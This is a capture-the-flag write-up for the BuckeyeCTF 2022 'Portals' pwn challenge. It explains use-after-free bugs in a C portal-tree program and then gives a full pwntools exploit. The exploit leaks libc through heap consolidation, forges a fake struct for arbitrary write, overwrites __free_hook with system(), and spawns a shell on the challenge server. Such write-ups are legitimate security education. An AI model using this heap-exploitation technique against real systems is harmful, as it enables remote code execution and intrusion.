Challenge: Portals
Author: Shotokhan
Description: Abusing UAF to get leaks, arbitrary R/W, and shell
CTF: BuckeyeCTF 2022
Category: Pwn

They say time travel is an impossible feat.. little do they know.

nc pwn.chall.pwnoh.io 13374

Preliminary steps

We’ve got an executable, portals, and the build environment for its deployment, alongside with the C source code for the executable.

We start by making some basic checks on the executable:

$ file portals
portals: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=d08962799c081eff8f5002dfe2094e3cbaaf88d0, for GNU/Linux 3.2.0, not stripped
$ checksec portals
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

Now we know that it’s a 64 bit executable, dynamically linked and with all protections enabled.
In these cases, it’s likely that we will craft an exploit which involves libc, so it’s useful to build the environment with Docker and take libc and ld from there.
After having done it, it’s possible to make the local executable use these libraries, by using patchelf:

$ patchelf --set-interpreter ./ld-2.31.so --add-needed ./libc-2.31.so ./portals --output ./patchelf_portals

Analysis

For the analysis, we mix reading the source code and interacting with the executable.

We’re prompted with “What will you do?”, so we read the source code to see what are the options, learning that they are:

  • m, to leave a message;
  • o, to open a “portal”;
  • c, to close a portal;
  • t, to take a portal.

At this point, you may be wondering what is a portal.
It is a struct defined like that:

#define MAX_PORTALS 5

typedef struct TimePoint TimePoint;
struct TimePoint {
    unsigned long year;
    TimePoint* portals[MAX_PORTALS];
    size_t msgSize;
    char* msg;
};

A portal is a TimePoint, which is the node of a N-ary tree.
There are two global variables, root and now; the former one is the pointer to the “active” node.
When the program starts, it calls a prologue() function, which initializes root and now:

TimePoint* root;
TimePoint* now;

void prologue() {
    printf("Finally! I've done it! I've invented a portal gun that can open portals to other points in time!\n"
           "I sure hope I don't create any paradoxes on accident or anything...\n"
           "Let's try it out!!\n");

    root = (TimePoint*)calloc(1, sizeof(TimePoint));
    root->year = 2022;
    now = root;
}

After the prologue, there is an interactive menu.
In this menu, at each iteration it is called a describe() function, before prompting for the option; this function prints the year field of now, calls printMessage() and prints the year field of each direct child of now.
The printMessage() function prints now->msgSize bytes of the buffer pointed by now->msg, only if now->msgSize is not zero; it prints using fwrite.

This is a sample interaction:

$ ./patchelf_portals 
Finally! I've done it! I've invented a portal gun that can open portals to other points in time!
I sure hope I don't create any paradoxes on accident or anything...
Let's try it out!!

The year is 2022.
What will you do? m
How many notecards do you want to use? 1
What do you want to write?
aaaa
Done!

The year is 2022.
Somebody left notes on the ground. They say:
aaaa
What will you do? o
2020
Opened the portal!

The year is 2022.
Somebody left notes on the ground. They say:
aaaa
There is a portal to the year 2020 here
What will you do? c
2020
Closed the portal!

The year is 2022.
Somebody left notes on the ground. They say:
aaaa
What will you do? o
2021
Opened the portal!

The year is 2022.
Somebody left notes on the ground. They say:
aaaa
There is a portal to the year 2021 here
What will you do? t
2021
*portal noises*

The year is 2021.
What will you do? o
2022
Opened the portal!

The year is 2021.
There is a portal to the year 2022 here
What will you do? t
2022
*portal noises*

The year is 2022.
Somebody left notes on the ground. They say:
aaaa
There is a portal to the year 2021 here
What will you do? ^C

Note that we were able to open a portal back to the root from the root’s child; we will understand this better, by delving into the options.

m option calls leaveMessage() function, that, if now->msgSize is zero, asks for an integer N in input and sets now->msgSize equal to N*16; in this case, it also calls malloc with that size and sets now->msg to the pointer returned by malloc. At last, in both cases (now->msgSize == 0, or not), it takes input from stdin in the buffer pointed by now->msg using fgets:

fgets(now->msg, now->msgSize, stdin);

The other three options (o, c, t) read up to 5 bytes from the input, and call atoi on these bytes, to use the result as year field used for portals.

o option calls openPortal(year), which:

  • checks if there is a free (NULL) slot in now->portals array, if not then return;
  • calls isPortalLegal(year) to check if there is any direct child pt of now for which pt->year == year, in that case return;
  • calls search(root, year, start=1) to search recursively the portal pt for which pt->year == year, in the whole tree; if it does NOT find it, then a new portal will be allocated using calloc and will become the new child, OTHERWISE the pointer returned by the search will become the new child. The start parameter is used to handle loops when there is a pointer to the root as child of a node, in which case the function returns NULL, but it doesn’t handle the case of sub-loops.

Therefore, as we saw in the sample interaction, with the openPortal() it’s possible to create loops in the tree, and it’s possible to obtain arbitrary cross-references in the tree, including multiple references to the same node.

c option calls closePortal(year), which looks for the portal with the corresponding year only among the direct children of now; in case of match with a child pt = now->portals[i], it:

  • checks if pt->msgSize > 0, in that case it calls free(pt->msg), but without NULLing the freed pointer;
  • calls free(pt), and sets now->portals[i] = NULL.

Last, t option calls takePortal(year), which looks for the portal pt with the corresponding year among the direct children of now and, in case of match, sets now = pt.

Note that there are two cases of UAF (use after free):

  • Thanks to openPortal(), it’s possible to obtain multiple references to the same node (portal) N from different parents nodes A and B, then it’s possible to free N using closePortal() from node A while keeping the reference to N in node B. From Ghidra we see that a portal takes 0x40 bytes of space, so it would be possible to replace the freed memory with a “fake portal” by using leaveMessage() and letting that function set now->msgSize equal to 4 * 16 (“first-fit behaviour”).
  • Moreover, if the “middle” area of the freed portal doesn’t get corrupted after the free, in that area there is still the msg field, which is affected by UAF, too; since it’s used during describe(), it’s clear that navigating to a freed portal (which had a message left) using takePortal() will lead to reading freed memory: this can be useful for leaks.

Exploitation

Let’s suppose we already obtained the desired leak; what can we do after?

We can use the described “fake portal” technique.
In fact, by setting now to the fake portal, the function describe() which gets called cyclically gives the possibility of performing arbitrary reads. Furthermore, with leaveMessage(), after having initialized the fake portal with the desired msgSize different from 0 and with the target msg, it’s possible to perform arbitrary write.

In the preliminary phase, we extracted the libc from the docker to patch the binary; we saw that its version is 2.31, so it’s possible to overwrite the __free_hook to redirect the execution flow.

At this point it could be useful to inspect the one-gadgets of the libc, but it’s not necessary to use a one-gadget.
In fact, when we close a portal, if a message was left in that portal, then that msg will be freed.
So, it will be passed as parameter to the function called with the __free_hook. The idea, then, is to overwrite the hook with the address of system() function in libc, then close a portal whose msg had been previously set to "/bin/sh\x00", so that the resulting call will be system("/bin/sh").

To craft the fake portal, we need to know the exact structure in memory of the TimePoint struct:

Field Byte offset Length (bytes)
year 0 8
portals[] 8 40 (5 * 8)
msgSize 48 8
msg 56 8

Now, all we need is a libc leak.
The approach of navigating to a freed portal which had a msg set (which was freed, too, but not set to NULL) and viewing the output of the describe() function, works: we get a heap leak.
To obtain a libc leak by reading freed memory in the heap, we need to prepare the heap such that in the freed area there will be pointers to main_arena in libc.

Before delving into it, note that once we are in a corrupted portal, we can still “escape” from it by opening a portal to root and taking it.

By browsing many online resources, we learn that to get libc addresses in the heap, two conditions need to be met:

  • there must be chunks going to unsorted bin;
  • there must occur heap consolidation.

One way to meet these conditions is to allocate a “large” chunk (but not so large that it needs mmap), a “little” chunk (but not a “fastbin”, so it must be larger than 0x80), then free both of them and then allocate a chunk a little bit larger of both of them, so that the consolidation occurs.

We can achieve that by using leaveMessage() for allocation and closePortal() for de-allocation (we don’t care about the free of the portal, since it goes in fastbin).
So, recalling that leaveMessage() takes N as input and allocates a chunk of N*16 bytes, we can do the following:

  1. Allocate a first portal and leave a message with N=1000.
  2. Allocate a second portal and leave a message with N=10.
  3. Allocate a third portal, and open a portal to the first portal from there.
  4. Close first portal.
  5. Close second portal.
  6. In the third portal, leave a message with N=1100.

At this point, we have to navigate from the third portal to the freed first portal; the first portal’s year will be corrupted, since it is at the beginning of the chunk, but with this sequence of operations it will have a value of 0, so it’s possible to navigate to it from the third portal by calling takePortal(0).
When in the freed first portal, describe() function will call printMessage(), which in turn prints the freed memory pointed by msg: in that memory, we have the libc leak.

It wasn’t obvious to get there: the idea was to trigger the heap consolidation, then inspect the heap with gdb by using find command to search for libc addresses, and then following the tree structure in the heap to see how to leak that memory. From that, it was also possible to compute the offset of the libc leak to the libc base: 0x1ed2e0.

Now that we have all the pieces of the puzzle, it’s possible to write a script to combine (1) the leak using UAF and heap consolidation and (2) the fake portal using UAF and first-fit.

There are many comments left in the script, so for more details just read the main function.

from pwn import *


class FakePortal:
    def __init__(self, year: int, portals: list, msgSize: int, msg: int):
        self.year = p64(year)
        self.portals = [p64(0) for i in range(5)]
        for i in range(min(len(portals), 5)):
            self.portals[i] = p64(portals[i])
        self.msgSize = p64(msgSize)
        self.msg = p64(msg)

    def dump(self) -> bytes:
        return self.year + b''.join(self.portals) + self.msgSize + self.msg


def leave_message(r, msgSize, msg, flush=True):
    # NOTE: actual msgSize is 16*msgSize
    # r.recvuntil('? ')
    r.sendline('m')
    if msgSize != 0:
        r.recvuntil('? ')
        r.sendline(str(msgSize))
        r.recvuntil('?\n')
    r.sendline(msg)
    r.recvuntil('!\n\n')
    if flush:
        read_description(r)


def open_portal(r, year, flush=True):
    # r.recvuntil('? ')
    r.sendline('o')
    r.sendline(str(year))
    r.recvuntil('!\n\n')
    if flush:
        read_description(r)


def close_portal(r, year, flush=True):
    # r.recvuntil('? ')
    r.sendline('c')
    r.sendline(str(year))
    r.recvuntil('!\n\n')
    if flush:
        read_description(r)


def take_portal(r, year, flush=True):
    # r.recvuntil('? ')
    r.sendline('t')
    r.sendline(str(year))
    r.recvuntil('*\n\n', timeout=2)
    if flush:
        read_description(r)


def read_description(r):
    year = int(r.recvline().decode().strip().split()[-1].split('.')[0])
    portals = True
    lines = r.recvuntil('? ').split(b'\n')
    msg = None
    if b'Somebody left notes on the ground' in lines[0]:
        msg = lines[1]
        lines = lines[2:]
    children = []
    try:
        while portals:
            data = lines.pop(0)
            if b'There is a portal' in data:
                try:
                    child_year = int(data.decode().strip().split()[-2])
                    children.append(child_year)
                except:
                    pass
            else:
                portals = False
    except:
        pass
    return year, msg, children


def main():
    local = False
    elf = ELF("./patchelf_portals")
    libc = ELF("./libc-2.31.so")
    context.binary = elf
    if local:
        r = elf.process()
    else:
        r = remote("pwn.chall.pwnoh.io", 13374)
    root_portal = 2022
    first_portal = 2030
    second_portal = 2040
    third_portal = 2050
    r.recvuntil('!!\n\n')
    read_description(r)
    # step 1: get libc leak
    # 1.1: heap consolidation to make "malloc" put pointers to main_arena
    # 1.1.1: allocate a big chunk and a small chunk
    open_portal(r, first_portal)
    take_portal(r, first_portal)
    open_portal(r, root_portal)
    leave_message(r, 1000, b'aaaa')
    take_portal(r, root_portal)

    open_portal(r, second_portal)
    take_portal(r, second_portal)
    open_portal(r, root_portal)
    leave_message(r, 10, b'bbbb')
    take_portal(r, root_portal)

    # 1.1.2: prepare the UAF in the third portal to get the libc leak
    open_portal(r, third_portal)
    take_portal(r, third_portal)
    open_portal(r, first_portal)
    open_portal(r, root_portal)
    take_portal(r, root_portal)

    # 1.1.3: free the first and the second portal, then allocate a big chunk
    # bigger than the previous, so they freed chunks get consolidated
    close_portal(r, first_portal)
    close_portal(r, second_portal)
    take_portal(r, third_portal)
    leave_message(r, 1100, b'cccc')

    # 1.1.4: take the first portal from the third portal to read the libc leak
    # NOTE: usually, at this point the first_portal got some of its memory corrupted, and the year is zeroed
    corrupted_portal = 0
    take_portal(r, corrupted_portal, flush=False)
    _, msg, _ = read_description(r)

    # 1.2: clean-up by returning to the root portal and closing the third portal
    open_portal(r, root_portal)
    take_portal(r, root_portal)
    close_portal(r, third_portal)
    
    # 1.3: get libc base from the leak
    libc_leak = msg[:8]
    print(f"{libc_leak = }")
    libc_base = u64(libc_leak) - 0x1ed2e0
    print(f"{hex(libc_base) = }")

    # step 2: perform UAF to get an arbitrary "fake portal"
    # 2.1: open a portal with a reference to the portal that will be the fake one
    open_portal(r, first_portal)
    take_portal(r, first_portal)
    open_portal(r, third_portal)
    open_portal(r, root_portal)
    take_portal(r, root_portal)

    # 2.2: open another portal with the same reference
    open_portal(r, second_portal)
    take_portal(r, second_portal)
    open_portal(r, third_portal)
    open_portal(r, root_portal)
    # 2.2.1: make a msg with b'/bin/sh\x00' to prepare for the free hook
    leave_message(r, 1, b'/bin/sh\x00')
    # 2.2.2: free the referenced portal to trigger UAF
    close_portal(r, third_portal)
    take_portal(r, root_portal)

    # 2.3: perform UAF by allocating a message of the same size of a portal ("first-fit": 16 * 4)
    target = libc_base + libc.symbols['__free_hook']
    fake_portal = FakePortal(third_portal, [], 9, target)
    fake_portal_raw = fake_portal.dump()
    print(f"{fake_portal_raw.hex() = }")
    leave_message(r, 4, fake_portal_raw)

    # step 3: use the fake portal for arbitrary write on __free_hook with system function
    # NOTE: msgSize has been initialized non-zero, so it will not be asked as input
    r.sendline()
    take_portal(r, first_portal)
    take_portal(r, third_portal)
    hook = libc_base + libc.symbols['system']
    leave_message(r, 0, p64(hook))

    # step 4: free a portal with b'/bin/sh\x00' as msg to get the shell!
    # NOTE: if you have timeout with recvuntil, do it manually, by closing second_portal
    r.interactive()
    """
    open_portal(r, root_portal)
    take_portal(r, root_portal)
    close_portal(r, second_portal)

    r.interactive()
    """

if __name__ == "__main__":
    main()

After the overwrite of the __free_hook, for some reason the automated interaction had problems, so it was easier to switch to interactive and do the last closePortal() manually. Anyway, in the Python code it is left commented that last automated part.

Here is the execution of the exploit:

$ python script.py 
[+] Opening connection to pwn.chall.pwnoh.io on port 13374: Done
libc_leak = b'\xe0\x02o\x9a\x0b\x7f\x00\x00'
hex(libc_base) = '0x7f0b9a503000'
fake_portal_raw.hex() = '0208000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000900000000000000481e6f9a0b7f0000'
[*] Switching to interactive mode

The year is 2050.
Somebody left notes on the ground. They say:
\x90RU\x9a\x0b\x00\x00hat will you do? $ o
$ 2022
Opened the portal!

The year is 2050.
Somebody left notes on the ground. They say:
\x90RU\x9a\x0b\x00\x00here is a portal to the year 2022 here
What will you do? $ t
$ 2022
*portal noises*

The year is 2022.
Somebody left notes on the ground. They say:
\x00\x00\x00\xa02Q*V\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00    \x00\x00\x00\x00\x1e\x9a\x0b\x00There is a portal to the year 2030 here
There is a portal to the year 2040 here
What will you do? $ c
$ 2040
$ ls
flag.txt
portals
$ cat flag.txt
buckeye{p0r741_70_4_p0r741_70_fr33d0m}